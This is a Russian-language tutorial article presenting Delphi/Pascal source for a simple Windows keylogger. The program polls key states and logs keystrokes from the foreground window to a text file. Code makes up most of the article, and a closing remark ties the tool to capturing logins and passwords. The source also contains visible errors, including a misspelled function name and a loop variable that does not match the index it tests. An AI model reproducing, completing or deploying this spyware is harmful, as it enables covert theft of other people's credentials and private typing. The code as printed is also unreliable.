В данной статье рассмотрим простейший пример keylogger (клавиатурный шпион). Keylogger (кейлоггер) — (англ. key — клавиша и logger — регистрирующее устройство) — это программное обеспечение или аппаратное устройство, регистрирующее каждое нажатие клавиши на клавиатуре компьютера (http://ru.wikipedia.org/wiki/Keylogger).
В нашем случае программа будет опрашивать состояние клавиш, затем сохранять их значение в файл. На изображении показан файл программы и её отчет (перехваченные данные), реализации автозагрузки, шифровки и отправки отчета на электронный почтовый ящик в этой статье не будет
Program KLogger;
Uses Windows;
const
FlName='kbd_report.txt';
wait=50;
var
wndh:Cardinal;
wndtxt:array[0..255]of char;
wndclass:array[0..255]of char;
cstr:string='';
num:integer;
function izex(path:pchar):boolean;{проверка наличия файла на диске}
begin
Result:=true;
if GetFileAttributes(path)=DWord(-1) then result:=false;
end; function ontop(wH:Cardinal):boolean;{проверка - является ли окно самым верхним}
begin
Result:=(GetForegroundWindow()=wH);
end;
procedure writer(value:string);{запись значений нажатых клавиш на диск}
var F:TextFile;
i:integer;
begin
AssignFile(F,FLName);
if izex(FLName) then Append(F) else Rewrite(F);
for i:=1 to lemgth(value) do write(F,value[i]);
CloseFile(F);
end;
BEGIN
While true do begin
wndh:=GetForegroundWindow();
while ontop(wndh) do begin
For num:=8 to 90 do begin
if GetAsyncKeyState(i)=-$7FFF
then if GetKeyState(i)<>0 then cstr:=cstr+chr(i);
end;
end;
if cstr<>'' then writer(cstr);
Sleep(wait);
cstr:='';
end;
END.
Ну вот и всё, простейший кейлоггер готов, реализацию отлова русских и спец символов додумывайте сами. PS пароли и логины обычно состоят из английских букв, цифр и спец. символов.
|